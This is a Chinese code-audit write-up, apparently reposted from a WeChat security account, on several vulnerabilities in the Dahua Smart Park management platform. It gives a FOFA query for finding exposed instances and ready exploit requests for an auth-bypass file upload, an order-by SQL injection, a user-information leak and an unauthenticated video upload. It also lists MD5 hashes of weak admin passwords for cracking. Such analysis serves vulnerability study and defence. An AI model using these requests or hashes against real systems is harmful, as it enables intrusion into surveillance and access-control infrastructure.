在23年 HW 期间大华智慧园区综合管理平台爆出来了非常多的漏洞,本着学习的心态来看看漏洞成因
FOFA:body="/WPMS/asset/lib/gridster/"
devicePoint_addImgIco 任意文件上传
/emap/devicePoint_addImgIco?hasSubsystem=true
可以看到 emap 是由 struts2 框架搭建的,在配置文件emap/WEB-INF/classes/struts/struts-default.xml
中发现 myInterceptor 拦截器
它会先调用emap/WEB-INF/classes/com/dahuatech/util/aop/MyInterceptor.class
的 intercept 方法
如果执行的是 ignoreActionMethod 或者this.before(invocation)
为true,就会绕过权限验证
private List<String> ignoreActionMethod = Arrays.asList("emap_noticeBitmapSyncData", "login_userLogout", "staircase_getListByMapId", "emap_findConfigData", "bitmap_findAllMap", "picture_getPicPath");
跟进 before 方法
public boolean before(ActionInvocation invocation) { boolean permission = true; try { ActionContext cxt = invocation.getInvocationContext(); HttpServletRequest request = (HttpServletRequest)cxt.get("com.opensymphony.xwork2.dispatcher.HttpServletRequest"); HttpServletResponse response = (HttpServletResponse)cxt.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"); String hasSubsystem = request.getParameter("hasSubsystem"); if ("execute".contains(cxt.getName())) { this.logger.error("主系统来获取菜单" + cxt.getName()); this.isReqLegal(request); permission = true; } else { Map<String, Object> session = cxt.getSession(); Object token = session.get(Constants.TOKEN); this.logger.error("检查session" + token); String ptoken; if (token == null) { if (hasSubsystem != null && hasSubsystem.equals("true")) { ptoken = this.getRequestBodyString(request.getReader()); this.logger.info("子系统访问param:" + ptoken); Map<String, String> subBean = this.getMapFromStringParam(ptoken); if (this.subSystem.contains(((String)subBean.get("subSystem")).toString())) { request.setAttribute("param", subBean.get("param")); permission = true; } else { permission = false; } } else { permission = this.hasLogin(request, response, session); } } else { ptoken = request.getParameter("token"); if (StringUtil.notNull(ptoken)) { if (ptoken.equals(token.toString())) { permission = true; } else { permission = this.hasLogin(request, response, session); } } } } } catch (Exception var11) { var11.printStackTrace(); } return permission; }
这段代码是很经典的逻辑缺陷问题,permission默认设置为true,而 catch 这里并不会异常退出,而是打印错误后继续执行,所以说能在permission = false
执行之前走到 catch 这里,就不需要鉴权了
我们可以控制hasSubsystem
的值为 true ,继续往下执行,subBean.get("subSystem")
未能找到 subSystem 键,会产生报错,达成条件
找到emap/WEB-INF/classes/com/dahuatech/emap/mapbiz/poi/action/PoiAction.class
的 addImgIco 方法
这里上传路径是固定的:/opt/tomcat/webapps/upload/emap/society_new
,并且文件后缀可控,最后会返回上传的文件名
getFaceCapture SQL注入
/portal/services/carQuery/getFaceCapture/searchJson/%7B%7D/pageJson/%7B%22orderBy%22:%221%20and%201=updatexml(1,concat(0x7e,(select%20md5(114514)),0x7e),1)--%22%7D/extend/%7B%7D
看到portal/WEB-INF/web.xml
存在CXFServlet,对应的接口是/ws/*
和/services/*
,webService的配置文件在portal/WEB-INF/classes/applicationContext.xml
给出了所有的 WebService
主要看到portal/WEB-INF/classes/com/dahua/dssc/webservice/carQuery/CarQueryServiceImpl.class
的 getFaceCapture 方法
这里如果没有传 orderBy 参数,会设置默认参数
public void defaultFaceCaptureSearchOrder(Object o) { if (o instanceof Page) { Page<T> page = (Page)o; if (page != null && StringUtil.isEmpty(page.getOrderBy())) { page.setOrderBy("detectTime"); page.setOrder("desc"); } } }
该方法最终会 return json,期间会执行
json = this.faceCaptureManager.getFaceCaptureJson(searchBean, page, extend);
跟进到portal/WEB-INF/classes/com/dahua/dssc/business/face/manager/impl/FaceCaptureManagerImpl.class
的 getFaceCaptureJson 方法
会调用 this.getFaceCapturePage 方法
走到portal/WEB-INF/classes/com/dahua/dssc/business/face/dao/impl/FaceCaptureDaoImpl.class
的 getFaceCapturePage 方法
调用了父类的 findSql 方法,portal/WEB-INF/classes/com/dahua/dssc/base/dao/AbstractDao.class
public Page<T> findSql(Page<T> page, Class<T> clazz, String sql, Object... values) { return this.paginationJdbcSupport.find(page, clazz, sql, values); }
调用到portal/WEB-INF/classes/com/dahua/dssc/base/dao/PaginationJdbcSupport.class
的 find 方法
由于数据库是MySql,跟进 this.getResultMySql
这里如果 page.getOrderBy() 不为空,则在最后 append 拼接sql语句,造成 order by 报错注入
最后执行的语句:
select t.CAPTUREINDEX as id,t.DETECTTIME as detectTime,t.FACEPATH as facePath,t.ORIGINALPATH as origPath,t.CHANNELID as chnId,t.DEVICEADDR as devChnname,date_format(t.DETECTTIME,'%Y-%m-%d %H:%i:%s') as capDateStr from IVS_FACE_CAPTURE t where 1=1 order by 1 and 1=updatexml(1,concat(0x7e,(select md5(114514)),0x7e),1)-- asc limit -1,-1
user_getUserInfoByUserName.action 用户信息泄露
/admin/user_getUserInfoByUserName.action?userName=system
看到拦截器admin/WEB-INF/classes/com/dahua/admin/common/aop/Interceptor.class
if (userBean == null && !servletPath.contains("/ztree.action") && !servletPath.contains("/ztree_refresh.action") && !servletPath.contains("/user_getUserInfoByUserName.action") && !servletPath.contains("/cascade_") && !servletPath.contains("/videoplanalone_") && !servletPath.contains("/access_") && !servletPath.contains("/nvrrelation_updateNvrRelationStat.action") && !servletPath.contains("/specialMenu_isAccessable.action") && !servletPath.contains("/role_getAvailableVideoWallListJson.action") && !servletPath.contains("/message.action") && !servletPath.contains("/deviceReconfigServer_") && !servletPath.contains("getCurrentProductInfo.action") && !servletPath.contains("rfid_getRfidDeviceInfo.action") && !servletPath.contains("configReader_refreshConfig.action") && !servletPath.contains("/itc/itcRecord_") && !servletPath.contains("/itc/itcztree.action") && !servletPath.contains("/itc/carSurvey") && !servletPath.contains("/subSystem_executeByIndex.action") && !servletPath.contains("/subSystem_isRunning.action") && !servletPath.contains("/config_remoteSaveWhiteList.action") && !servletPath.contains("/config_remoteGetWhiteList.action") && !servletPath.contains("/config_isHttpsEnable.action") && !servletPath.contains("/config_resetFtpPassword.action") && !servletPath.contains("/subSystem_isCorrectUser.action") && !servletPath.contains("/subSystem_getSubStatusByName.action") && !servletPath.contains("/user_checkPasswordDeadline.action") && !servletPath.contains("/user_checkEditFtpPass.action") && !servletPath.contains("/user_checkEditPass.action") && !servletPath.contains("/config_getPassWordStrength") && !servletPath.contains("/config_changePort.action") && !servletPath.contains("/config_synMasterIp.action") && !servletPath.contains("/authorize_") && !servletPath.contains("/domain_")) {
不需要权限访问的 action 都列出来了
看到admin/WEB-INF/classes/com/dahua/admin/business/user/action/UserAction.class
的 getUserInfoByUserName 方法
接收 userName 参数,然后调用this.userManager.getUserBean(userName)
,并会返回结果
跟进到admin/WEB-INF/classes/com/dahua/admin/business/user/manager/UserManagerImpl.class
的 getUserBean 方法
跟进admin/WEB-INF/classes/com/dahua/admin/business/user/dao/UserDaoImpl.class
的 getUser 方法
发现使用的是hibernateTemplate.findByCriteria
,根据 loginName 进行查询,存在默认管理员账户:system
video 任意文件上传
/publishing/publishing/material/file/video
看到配置文件publishing/WEB-INF/web.xml
,发现权限认证的filter
走到publishing/WEB-INF/classes/com/dahua/cardsolution/authentication/UserAuthenticationFilter.java
发现如果包含*/publishing/publishing/*
路径,或者路径后缀为.css
、.js
、.png
、.gif
,则不鉴权
看到publishing/WEB-INF/classes/com/dahua/cardsolution/controller/publishing/MaterialController.java
使用 MultipartFile 接收上传的文件,调用
materialFile = buildMaterialFile(multipartFile); materialFile = materialService.addVideoFile(materialFile);
进行处理,最后返回 result
跟进到publishing-service-1.0.0.jar!/com/dahua/cardsolution/service/publishing/impl/MaterialServiceImpl.class
的 addVideoFile 方法
这里调用 this.fileManageService.generateFileName 重新生成文件名,并且调用 this.fileManageService.sendFile 上传文件,videoFile.setPath 保存了路径
跟进到publishing-service-1.0.0.jar!/com/dahua/cardsolution/service/publishing/impl/FileManageServiceImpl.class
发现文件后缀是可控的,文件写入的路径为:/opt/ftp/publishingImg/VIDEO/
这里使用了软链接,所以我们可以通过web路径访问到文件
简单测试一下
来看一下数据库密码的生成规则
看到admin/WEB-INF/classes/com/dahua/admin/util/EncryptionUtils.class
的 getEncryptedText 方法
public static String getEncryptedText(UserBean checkedUser) { return "true".equals(ConfigReader.getStringIsNull("user.loginpass.encryted")) ? encrypt(checkedUser.getLoginName() + ":dss:" + checkedUser.getLoginPass()) : checkedUser.getLoginPass(); }
发现 loginPass 的值是checkedUser.getLoginName() + ":dss:" + checkedUser.getLoginPass()
,然后调用 encrypt 方法加密生成的
发现是使用md5进行加密的,下列是几个弱口令生成的密码:
system:dss:admin12345 md5: 5ce3960eac39a95ed67b654053849793
system:dss:admin123 md5: 278bf69381b3053c5387cf09bed039ce
system:dss:Admin123 md5: 1ebe47fb5b1299c1ecc061e248450b83
可以使用字典爆破md5值
也可以连接数据库改 system 的密码进后台
群内不定期更新各种POC
原文始发于微信公众号(道一安全):23年攻防大杀器 大华智慧园区综合管理平台 代码审计
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论